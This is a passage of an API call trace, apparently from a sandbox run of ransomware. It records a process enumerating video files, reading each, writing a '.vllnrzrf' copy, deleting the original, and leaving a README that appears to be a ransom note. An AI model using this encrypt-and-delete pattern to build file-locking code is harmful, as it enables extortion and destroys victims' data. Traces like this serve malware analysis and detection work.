dwReserved1=0x0, cFileName="r6fk5i1SJ8Z_yNOrfe.mkv", cAlternateFileName="R6FK5I~1.MKV")) returned 1 [0122.280] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0cee70 | out: lpFindFileData=0x1c0cee70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8e08470, ftCreationTime.dwHighDateTime=0x1d60166, ftLastAccessTime.dwLowDateTime=0xb8e08470, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xb8e08470, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x5f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="VLLNRZRF-README.txt", cAlternateFileName="VLLNRZ~1.TXT")) returned 1 [0122.280] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0cee70 | out: lpFindFileData=0x1c0cee70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0122.280] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0122.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0cf0d0) returned 1 [0122.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0cf090) returned 1 [0122.282] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\GRkf6LQiV6jw.avi", nBufferLength=0x105, lpBuffer=0x1c0ceb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\GRkf6LQiV6jw.avi", lpFilePart=0x0) returned 0x3a [0122.282] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\GRkf6LQiV6jw.avi", nBufferLength=0x105, lpBuffer=0x1c0ceb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\GRkf6LQiV6jw.avi", lpFilePart=0x0) returned 0x3a [0122.282] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\GRkf6LQiV6jw.avi", nBufferLength=0x105, lpBuffer=0x1c0ceb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\GRkf6LQiV6jw.avi", lpFilePart=0x0) returned 0x3a [0122.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0cf070) returned 1 [0122.282] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\GRkf6LQiV6jw.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\grkf6lqiv6jw.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4a8 [0122.282] GetFileType (hFile=0x4a8) returned 0x1 [0122.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0cefe0) returned 1 [0122.282] GetFileType (hFile=0x4a8) returned 0x1 [0122.282] GetFileSize (in: hFile=0x4a8, lpFileSizeHigh=0x1c0cf208 | out: lpFileSizeHigh=0x1c0cf208*=0x0) returned 0x4659 [0122.282] ReadFile (in: hFile=0x4a8, lpBuffer=0x232b3c8, nNumberOfBytesToRead=0x4659, lpNumberOfBytesRead=0x1c0cf138, lpOverlapped=0x0 | out: lpBuffer=0x232b3c8*, lpNumberOfBytesRead=0x1c0cf138*=0x4659, lpOverlapped=0x0) returned 1 [0122.283] CloseHandle (hObject=0x4a8) returned 1 [0122.293] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\GRkf6LQiV6jw.avi.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0ceb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\GRkf6LQiV6jw.avi.vllnrzrf", lpFilePart=0x0) returned 0x43 [0122.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0cf070) returned 1 [0122.293] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\GRkf6LQiV6jw.avi.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\grkf6lqiv6jw.avi.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4a8 [0122.294] GetFileType (hFile=0x4a8) returned 0x1 [0122.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0cefe0) returned 1 [0122.294] GetFileType (hFile=0x4a8) returned 0x1 [0122.294] WriteFile (in: hFile=0x4a8, lpBuffer=0x234edd8*, nNumberOfBytesToWrite=0x4859, lpNumberOfBytesWritten=0x1c0cf198, lpOverlapped=0x0 | out: lpBuffer=0x234edd8*, lpNumberOfBytesWritten=0x1c0cf198*=0x4859, lpOverlapped=0x0) returned 1 [0122.296] CloseHandle (hObject=0x4a8) returned 1 [0122.297] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\GRkf6LQiV6jw.avi", nBufferLength=0x105, lpBuffer=0x1c0ceb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\GRkf6LQiV6jw.avi", lpFilePart=0x0) returned 0x3a [0122.297] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\GRkf6LQiV6jw.avi", nBufferLength=0x105, lpBuffer=0x1c0ced30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\GRkf6LQiV6jw.avi", lpFilePart=0x0) returned 0x3a [0122.298] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\GRkf6LQiV6jw.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\grkf6lqiv6jw.avi")) returned 1 [0122.300] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\IIDimJOmjOAYWyTLEW.swf", nBufferLength=0x105, lpBuffer=0x1c0ceb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\IIDimJOmjOAYWyTLEW.swf", lpFilePart=0x0) returned 0x40 [0122.300] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\IIDimJOmjOAYWyTLEW.swf", nBufferLength=0x105, lpBuffer=0x1c0ceb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\IIDimJOmjOAYWyTLEW.swf", lpFilePart=0x0) returned 0x40 [0122.300] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\IIDimJOmjOAYWyTLEW.swf", nBufferLength=0x105, lpBuffer=0x1c0ceb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\IIDimJOmjOAYWyTLEW.swf", lpFilePart=0x0) returned 0x40 [0122.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0cf070) returned 1 [0122.300] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\IIDimJOmjOAYWyTLEW.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\iidimjomjoaywytlew.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4a8 [0122.300] GetFileType (hFile=0x4a8) returned 0x1 [0122.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0cefe0) returned 1 [0122.300] GetFileType (hFile=0x4a8) returned 0x1 [0122.300] GetFileSize (in: hFile=0x4a8, lpFileSizeHigh=0x1c0cf208 | out: lpFileSizeHigh=0x1c0cf208*=0x0) returned 0xfd70 [0122.300] ReadFile (in: hFile=0x4a8, lpBuffer=0x2354240, nNumberOfBytesToRead=0xfd70, lpNumberOfBytesRead=0x1c0cf138, lpOverlapped=0x0 | out: lpBuffer=0x2354240*, lpNumberOfBytesRead=0x1c0cf138*=0xfd70, lpOverlapped=0x0) returned 1 [0122.302] CloseHandle (hObject=0x4a8) returned 1 [0122.313] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\IIDimJOmjOAYWyTLEW.swf.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0ceb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\IIDimJOmjOAYWyTLEW.swf.vllnrzrf", lpFilePart=0x0) returned 0x49 [0122.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0cf070) returned 1 [0122.313] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\IIDimJOmjOAYWyTLEW.swf.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\iidimjomjoaywytlew.swf.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4a8 [0122.314] GetFileType (hFile=0x4a8) returned 0x1 [0122.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0cefe0) returned 1 [0122.314] GetFileType (hFile=0x4a8) returned 0x1 [0122.314] WriteFile (in: hFile=0x4a8, lpBuffer=0x23ac788*, nNumberOfBytesToWrite=0xff70, lpNumberOfBytesWritten=0x1c0cf198, lpOverlapped=0x0 | out: lpBuffer=0x23ac788*, lpNumberOfBytesWritten=0x1c0cf198*=0xff70, lpOverlapped=0x0) returned 1 [0122.316] CloseHandle (hObject=0x4a8) returned 1 [0122.322] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\IIDimJOmjOAYWyTLEW.swf", nBufferLength=0x105, lpBuffer=0x1c0ceb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\IIDimJOmjOAYWyTLEW.swf", lpFilePart=0x0) returned 0x40 [0122.323] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\IIDimJOmjOAYWyTLEW.swf", nBufferLength=0x105, lpBuffer=0x1c0ced30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\IIDimJOmjOAYWyTLEW.swf", lpFilePart=0x0) returned 0x40 [0122.323] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\IIDimJOmjOAYWyTLEW.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\iidimjomjoaywytlew.swf")) returned 1 [0122.325] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\lo pSmP.avi", nBufferLength=0x105, lpBuffer=0x1c0ceb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\lo pSmP.avi", lpFilePart=0x0) returned 0x35 [0122.326] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\lo pSmP.avi", nBufferLength=0x105, lpBuffer=0x1c0ceb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\lo pSmP.avi", lpFilePart=0x0) returned 0x35 [0122.326] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\lo pSmP.avi", nBufferLength=0x105, lpBuffer=0x1c0ceb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\lo pSmP.avi", lpFilePart=0x0) returned 0x35 [0122.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0cf070) returned 1 [0122.326] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\lo pSmP.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\lo psmp.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4a8 [0122.326] GetFileType (hFile=0x4a8) returned 0x1 [0122.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0cefe0) returned 1 [0122.326] GetFileType (hFile=0x4a8) returned 0x1 [0122.326] GetFileSize (in: hFile=0x4a8, lpFileSizeHigh=0x1c0cf208 | out: lpFileSizeHigh=0x1c0cf208*=0x0) returned 0x177d2 [0122.327] ReadFile (in: hFile=0x4a8, lpBuffer=0x12516010, nNumberOfBytesToRead=0x177d2, lpNumberOfBytesRead=0x1c0cf138, lpOverlapped=0x0 | out: lpBuffer=0x12516010*, lpNumberOfBytesRead=0x1c0cf138*=0x177d2, lpOverlapped=0x0) returned 1 [0122.330] CloseHandle (hObject=0x4a8) returned 1 [0122.357] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\lo pSmP.avi.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0ceb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\lo pSmP.avi.vllnrzrf", lpFilePart=0x0) returned 0x3e [0122.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0cf070) returned 1 [0122.357] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\lo pSmP.avi.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\lo psmp.avi.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0122.358] GetFileType (hFile=0x41c) returned 0x1 [0122.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0cefe0) returned 1 [0122.358] GetFileType (hFile=0x41c) returned 0x1 [0122.358] WriteFile (in: hFile=0x41c, lpBuffer=0x12282428*, nNumberOfBytesToWrite=0x179d2, lpNumberOfBytesWritten=0x1c0cf198, lpOverlapped=0x0 | out: lpBuffer=0x12282428*, lpNumberOfBytesWritten=0x1c0cf198*=0x179d2, lpOverlapped=0x0) returned 1 [0122.361] CloseHandle (hObject=0x41c) returned 1 [0122.365] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\lo pSmP.avi", nBufferLength=0x105, lpBuffer=0x1c0ceb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\lo pSmP.avi", lpFilePart=0x0) returned 0x35 [0122.365] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\lo pSmP.avi", nBufferLength=0x105, lpBuffer=0x1c0ced30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\lo pSmP.avi", lpFilePart=0x0) returned 0x35 [0122.365] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\lo pSmP.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\lo psmp.avi")) returned 1 [0122.368] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\r6fk5i1SJ8Z_yNOrfe.mkv", nBufferLength=0x105, lpBuffer=0x1c0ceb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\r6fk5i1SJ8Z_yNOrfe.mkv", lpFilePart=0x0) returned 0x40 [0122.368] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\r6fk5i1SJ8Z_yNOrfe.mkv", nBufferLength=0x105, lpBuffer=0x1c0ceb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\r6fk5i1SJ8Z_yNOrfe.mkv", lpFilePart=0x0) returned 0x40 [0122.368] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\r6fk5i1SJ8Z_yNOrfe.mkv", nBufferLength=0x105, lpBuffer=0x1c0ceb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\r6fk5i1SJ8Z_yNOrfe.mkv", lpFilePart=0x0) returned 0x40 [0122.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0cf070) returned 1 [0122.368] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\r6fk5i1SJ8Z_yNOrfe.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\r6fk5i1sj8z_ynorfe.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0122.368] GetFileType (hFile=0x41c) returned 0x1 [0122.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0cefe0) returned 1 [0122.368] GetFileType (hFile=0x41c) returned 0x1 [0122.368] GetFileSize (in: hFile=0x41c, lpFileSizeHigh=0x1c0cf208 | out: lpFileSizeHigh=0x1c0cf208*=0x0) returned 0x15213 [0122.373] ReadFile (in: hFile=0x41c, lpBuffer=0x12299e38, nNumberOfBytesToRead=0x15213, lpNumberOfBytesRead=0x1c0cf138, lpOverlapped=0x0 | out: lpBuffer=0x12299e38*, lpNumberOfBytesRead=0x1c0cf138*=0x15213, lpOverlapped=0x0) returned 1 [0122.375] CloseHandle (hObject=0x41c) returned 1 [0122.388] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\r6fk5i1SJ8Z_yNOrfe.mkv.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c0ceb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\r6fk5i1SJ8Z_yNOrfe.mkv.vllnrzrf", lpFilePart=0x0) returned 0x49 [0122.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0cf070) returned 1 [0122.388] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\r6fk5i1SJ8Z_yNOrfe.mkv.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\r6fk5i1sj8z_ynorfe.mkv.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0122.389] GetFileType (hFile=0x41c) returned 0x1 [0122.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0cefe0) returned 1 [0122.389] GetFileType (hFile=0x41c) returned 0x1 [0122.389] WriteFile (in: hFile=0x41c, lpBuffer=0x12318b80*, nNumberOfBytesToWrite=0x15413, lpNumberOfBytesWritten=0x1c0cf198, lpOverlapped=0x0 | out: lpBuffer=0x12318b80*, lpNumberOfBytesWritten=0x1c0cf198*=0x15413, lpOverlapped=0x0) returned 1 [0122.392] CloseHandle (hObject=0x41c) returned 1 [0122.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\r6fk5i1SJ8Z_yNOrfe.mkv", nBufferLength=0x105, lpBuffer=0x1c0ceb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\r6fk5i1SJ8Z_yNOrfe.mkv", lpFilePart=0x0) returned 0x40 [0122.394] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\r6fk5i1SJ8Z_yNOrfe.mkv", nBufferLength=0x105, lpBuffer=0x1c0ced30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\r6fk5i1SJ8Z_yNOrfe.mkv", lpFilePart=0x0) returned 0x40 [0122.394] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\r6fk5i1SJ8Z_yNOrfe.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\r6fk5i1sj8z_ynorfe.mkv")) returned 1 [0122.397] CoUninitialize () Thread: id = 113 os_tid = 0x760 [0122.402] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0122.403] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", nBufferLength=0x105, lpBuffer=0x1c87e700, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", lpFilePart=0x0) returned 0x34 [0122.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c87eb60) returned 1 [0122.403] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", nBufferLength=0x105, lpBuffer=0x1c87e650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch", lpFilePart=0x0) returned 0x34 [0122.403] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\", nBufferLength=0x105, lpBuffer=0x1c87e5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\", lpFilePart=0x0) returned 0x35 [0122.403] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\*.*", lpFindFileData=0x1c87e800 | out: lpFindFileData=0x1c87e800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a28d9f0, ftCreationTime.dwHighDateTime=0x1d5e009, ftLastAccessTime.dwLowDateTime=0x4f819150, ftLastAccessTime.dwHighDateTime=0x1d5e112, ftLastWriteTime.dwLowDateTime=0x4f819150, ftLastWriteTime.dwHighDateTime=0x1d5e112, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0122.404] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e850 | out: lpFindFileData=0x1c87e850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a28d9f0, ftCreationTime.dwHighDateTime=0x1d5e009, ftLastAccessTime.dwLowDateTime=0x4f819150, ftLastAccessTime.dwHighDateTime=0x1d5e112, ftLastWriteTime.dwLowDateTime=0x4f819150, ftLastWriteTime.dwHighDateTime=0x1d5e112, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.404] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e850 | out: lpFindFileData=0x1c87e850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdf72e0, ftCreationTime.dwHighDateTime=0x1d5de80, ftLastAccessTime.dwLowDateTime=0x3bbe2790, ftLastAccessTime.dwHighDateTime=0x1d5dd44, ftLastWriteTime.dwLowDateTime=0x3bbe2790, ftLastWriteTime.dwHighDateTime=0x1d5dd44, nFileSizeHigh=0x0, nFileSizeLow=0x9492, dwReserved0=0x0, dwReserved1=0x0, cFileName="25XkF Ftlk.mp4", cAlternateFileName="25XKFF~1.MP4")) returned 1 [0122.404] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e850 | out: lpFindFileData=0x1c87e850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2d63110, ftCreationTime.dwHighDateTime=0x1d5d804, ftLastAccessTime.dwLowDateTime=0x86c52de0, ftLastAccessTime.dwHighDateTime=0x1d5e53e, ftLastWriteTime.dwLowDateTime=0x86c52de0, ftLastWriteTime.dwHighDateTime=0x1d5e53e, nFileSizeHigh=0x0, nFileSizeLow=0x14ecd, dwReserved0=0x0, dwReserved1=0x0, cFileName="91yKPS7yoWR.swf", cAlternateFileName="91YKPS~1.SWF")) returned 1 [0122.404] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e850 | out: lpFindFileData=0x1c87e850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x323fb1f0, ftCreationTime.dwHighDateTime=0x1d5d7e7, ftLastAccessTime.dwLowDateTime=0x1cbf1940, ftLastAccessTime.dwHighDateTime=0x1d5e66c, ftLastWriteTime.dwLowDateTime=0x1cbf1940, ftLastWriteTime.dwHighDateTime=0x1d5e66c, nFileSizeHigh=0x0, nFileSizeLow=0x147fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="cxguRw9l.avi", cAlternateFileName="")) returned 1 [0122.404] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e850 | out: lpFindFileData=0x1c87e850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7320fd0, ftCreationTime.dwHighDateTime=0x1d5e2c1, ftLastAccessTime.dwLowDateTime=0xd2e0c900, ftLastAccessTime.dwHighDateTime=0x1d5de04, ftLastWriteTime.dwLowDateTime=0xd2e0c900, ftLastWriteTime.dwHighDateTime=0x1d5de04, nFileSizeHigh=0x0, nFileSizeLow=0xdb2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="jloHPSU-Y6vmHOQSdJy.avi", cAlternateFileName="JLOHPS~1.AVI")) returned 1 [0122.405] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e850 | out: lpFindFileData=0x1c87e850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf250e080, ftCreationTime.dwHighDateTime=0x1d5e2f1, ftLastAccessTime.dwLowDateTime=0x8566a50, ftLastAccessTime.dwHighDateTime=0x1d5e197, ftLastWriteTime.dwLowDateTime=0x8566a50, ftLastWriteTime.dwHighDateTime=0x1d5e197, nFileSizeHigh=0x0, nFileSizeLow=0xd0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="N2Hjg3fU.flv", cAlternateFileName="")) returned 1 [0122.405] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e850 | out: lpFindFileData=0x1c87e850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6f94700, ftCreationTime.dwHighDateTime=0x1d5de1c, ftLastAccessTime.dwLowDateTime=0xf1f07720, ftLastAccessTime.dwHighDateTime=0x1d5d9d4, ftLastWriteTime.dwLowDateTime=0xf1f07720, ftLastWriteTime.dwHighDateTime=0x1d5d9d4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="P1LxaHY9ySceM3Qzo", cAlternateFileName="P1LXAH~1")) returned 1 [0122.405] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c87e850 | out: lpFindFileData=0x1c87e850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf454780, ftCreationTime.dwHighDateTime=0x1d5e18d, ftLastAccessTime.dwLowDateTime=0xbeaac480, ftLastAccessTime.dwHighDateTime=0x1d5e6b1, ftLastWriteTime.dwLowDateTime=0xbeaac480, 